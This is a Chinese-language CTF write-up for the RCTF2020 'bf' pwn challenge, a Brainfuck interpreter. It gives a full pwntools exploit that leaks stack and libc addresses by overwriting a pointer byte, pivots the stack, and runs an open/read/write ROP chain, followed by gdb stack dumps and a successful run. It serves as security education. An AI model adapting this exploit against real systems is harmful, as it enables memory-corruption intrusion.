[BMZCTF-pwn] 42-rctf2020-bf

一直没明白BrainFuck是个啥东西,学着作一遍,这个大概就有点明白了。

BrainFuck一共有8个符号分别是“<>”移动指针 []循环 “+-”指针处值增减1 “.”输出“,”输入

思路:

  1. 当输入长度较小里会被放在栈里,并有一个栈里的指针。先利用一个循环将指针移溢出到栈指针处,并输入一个数覆盖尾字节,用这个字节调整指向的位置。泄露rbp和libc
  2. 将指针指向返回地址处,在这里写入rop
  3. rop由BrainFuck代码读入,然后当回返里移栈到这里进行orw

完整exp:

from pwn import *

elf = ELF('./pwn')
libc_elf = ELF('/home/shi/buuctf/buuoj_2.27_amd64/libc-2.27.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64', log_level='critical')

def connect(local=1):
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 27672) 
    return p


def pwn():
    #get stack
    payload = b'+[>+],' #Brainfuck
    p.sendlineafter(b"enter your code:", payload)  #len(payload)<=8 -->stack >8 -->heap
    p.sendafter(b"running....", b'\xb0')
    p.recvuntil(b"done! your code: ", timeout=0.2)
    tmp = u64(p.recv(6).ljust(8, b'\x00'))
    if tmp>>40 != 0x7f:
        raise('no stack ...')

    stack = tmp
    print('stack', hex(tmp))

    #get libc
    p.sendafter(b"want to continue?", b'y')
    p.sendlineafter(b"enter your code:", payload)
    p.sendafter(b"running....", b'\xc8')
    p.recvuntil(b"done! your code: ", timeout=0.2)
    tmp = u64(p.recv(6).ljust(8, b'\x00'))
    if tmp>>40 != 0x7f:
        raise('no libc ...')

    libc_base = tmp - libc_start_main_ret
    libc_elf.address = libc_base
    print('libc:', hex(tmp))
    #gdb.attach(p)
    #pause()

    pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
    pop_rsi = next(libc_elf.search(asm('pop rsi; ret')))
    pop_rdx = next(libc_elf.search(asm('pop rdx; ret')))
    pop_rsp = next(libc_elf.search(asm('pop rsp; ret')))

    rop_addr  = stack    - 0x1c0
    flag_addr = rop_addr + 0x98
    
    #3
    p.sendafter(b"want to continue?", b'y')
    p.sendlineafter(b"enter your code:", payload)
    p.sendafter(b"running....", b'\xc0')
    
    #4
    p.sendafter(b"want to continue?", b'y')
    payload = b'+[,>+],a' + p64(pop_rsp) + p64(rop_addr)
    p.sendlineafter(b"enter your code:", payload)
    
    rop = flat(pop_rdi, flag_addr, pop_rsi, 0, libc_elf.sym['open'],
               pop_rdi, 3, pop_rsi, flag_addr, pop_rdx, 0x30, libc_elf.sym['read'],
               pop_rdi, 1, pop_rsi, flag_addr, pop_rdx, 0x30, libc_elf.sym['write'],
               b'./flag\x00a')
    rop = rop.rjust(0x400, b'a') + b'\x90'  #操作区总长度0x400 在后部写rop
    #p.sendafter(b"running....", rop.rlust(0x400, b'a') + b'a' + b'\x90')
    for i in range(0x401):
        p.send(rop[i: i+1])
        
    p.interactive()

while True:
    try:
        p = connect(1)
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()
    
'''
Brainfuck        C
>,<               ++ptr;--ptr;
+,-               ++*ptr;--*ptr;
.                 putchar(*ptr);
,                 *ptr =getch();
[,]               while (*ptr) { xxx }

gdb-peda$ tel 0x7ffd98a74490-0x90 30
0000| 0x7ffd98a74400 --> 0x101010101010101 
...
0120| 0x7ffd98a74478 --> 0x101010101010101 
0128| 0x7ffd98a74480 --> 0x7ffd98a744(b0) --> 0x7ffd98a745a0 --> 0x1     #string       0 b0:stack,c8:libc_ret 指向输入串,修改为指向rbp
0136| 0x7ffd98a74488 --> 0x6                                             #             1
0144| 0x7ffd98a74490 --> 0x2c5d2b3e5b2b ('+[>+],')                       #             2 当输入小于8时存在栈内
0152| 0x7ffd98a74498 --> 0x0                                             #             3
0160| 0x7ffd98a744a0 --> 0x5626734fb980 (push   r15)                     #             4
0168| 0x7ffd98a744a8 --> 0xe60fa378106a5400                              #canary       5
0176| 0x7ffd98a744b0 --> 0x7ffd98a745a0 --> 0x1                          #0xb0 ptr->0  6
0184| 0x7ffd98a744b8 --> 0x0                                                           7
0192| 0x7ffd98a744c0 --> 0x5626734fb980 (push   r15)                     #0xc0 rbp
0200| 0x7ffd98a744c8 --> 0x7f2e71c0fb97 (<__libc_start_main+231>)        #0xc8 libc_start_main_ret


shi@ubuntu:~/bmzclub.pwn/42_rctf2020-bf$ py a.py
stack 0x7ffe91f2efb0
stack 0x7ffcaaa40ea0
libc: 0x7f7f7fef3b97


running....

done! your code: +[>+],\x00\x00\x00\x00\x00\x80\xd9\xf8|JV\x00
want to continue?
$ 
flag{test_flag!!!!!!!!!!!!!!!!!!}
\x00\x00\x00\x80\xd9\xf8|JV\x00$ 

'''

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值